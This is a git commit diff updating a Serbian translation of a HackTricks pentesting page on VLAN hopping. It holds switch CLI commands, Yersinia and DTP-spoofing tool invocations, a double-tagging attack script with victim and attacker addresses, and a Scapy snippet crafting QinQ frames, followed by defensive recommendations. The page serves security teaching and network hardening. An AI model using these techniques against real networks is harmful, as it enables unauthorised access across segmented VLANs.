mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
f72eeca061
commit
1d6ee70b2e
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. To uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja proverite [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Prvo je potrebno identifikovati specifičan povezani port. To se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
|
||||
Prvo, potrebno je identifikovati specifičan povezani port. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske.
|
||||
|
||||
**Ako CDP nije operativan, identifikacija porta može se pokušati pretraživanjem MAC adrese**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Pre nego što se pređe u trunk režim, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, povezan je sa VLAN 10.
|
||||
Pre nego što se pređe na trunk mod, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, je povezan sa VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -46,10 +46,78 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Konekcija se testira pokretanjem ICMP zahteva ka podrazumevanim prolazima za VLAN-ove 10, 20, 50 i 60.
|
||||
|
||||
Na kraju, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neograničen pristup bilo kojoj VLAN mreži i postavlja osnova za naredne akcije.
|
||||
Na kraju, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neometan pristup bilo kojoj VLAN mreži i postavlja osnova za naredne akcije.
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## Druge VLAN-Hopping Tehnike (bez privilegovanog switch CLI)
|
||||
|
||||
Prethodna metoda pretpostavlja autentifikovani pristup konzoli ili Telnet/SSH-u na switch-u. U stvarnim situacijama, napadač je obično povezan na **običan pristupni port**. Sledeći Layer-2 trikovi često vam omogućavaju lateralno prebacivanje bez ikada prijavljivanja u switch OS:
|
||||
|
||||
### 1. Switch-Spoofing sa Dinamičkim Trunking Protokolom (DTP)
|
||||
|
||||
Cisco switch-evi koji drže DTP uključenim rado će pregovarati trunk ako partner tvrdi da je switch. Kreiranje jednog **DTP “desirable”** ili **“trunk”** okvira pretvara pristupni port u 802.1Q trunk koji nosi *sve* dozvoljene VLAN-ove.
|
||||
|
||||
*Yersinia* i nekoliko PoC-ova automatizuju proces:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. Moderni Linux kernel više ne zahteva *vconfig*; umesto toga koristite *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Native-VLAN Abuse)
|
||||
|
||||
Ako napadač sedi na **native (untagged) VLAN**, kreirani okvir sa *dva* 802.1Q zaglavlja može "skočiti" na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (2022-2024 osveženje) automatizuju injekciju:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. Spoljašnji tag (1) se uklanja od strane prvog switch-a jer se poklapa sa native VLAN.
|
||||
2. Unutrašnji tag (20) je sada izložen; okvir se prosleđuje na trunk ka VLAN 20.
|
||||
|
||||
Tehnika i dalje funkcioniše 2025. godine na mrežama koje ostavljaju native VLAN na podrazumevanoj vrednosti i prihvataju neoznačene okvire.
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Mnogi koreni preduzeća podržavaju *Q-in-Q* uslugu pružatelja usluga. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar pružatelja (S-tag) da bi prešao sigurnosne zone. Zabeležite 802.1ad ethertype 0x88a8 i pokušajte da uklonite spoljašnji tag sa Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## Preporuke za odbranu
|
||||
|
||||
1. Onemogućite DTP na svim portovima koji su dostupni korisnicima: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Promenite nativni VLAN na svakom trunku u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`.
|
||||
3. Prune-ujte nepotrebne VLAN-ove na trunkovima: `switchport trunk allowed vlan 10,20`.
|
||||
4. Primorajte sigurnost portova, DHCP snooping i dinamičku ARP inspekciju kako biste ograničili neovlašćene Layer-2 aktivnosti.
|
||||
5. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto oslanjanja isključivo na 802.1Q razdvajanje.
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Šta je VLAN Hopping?" (Avg 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user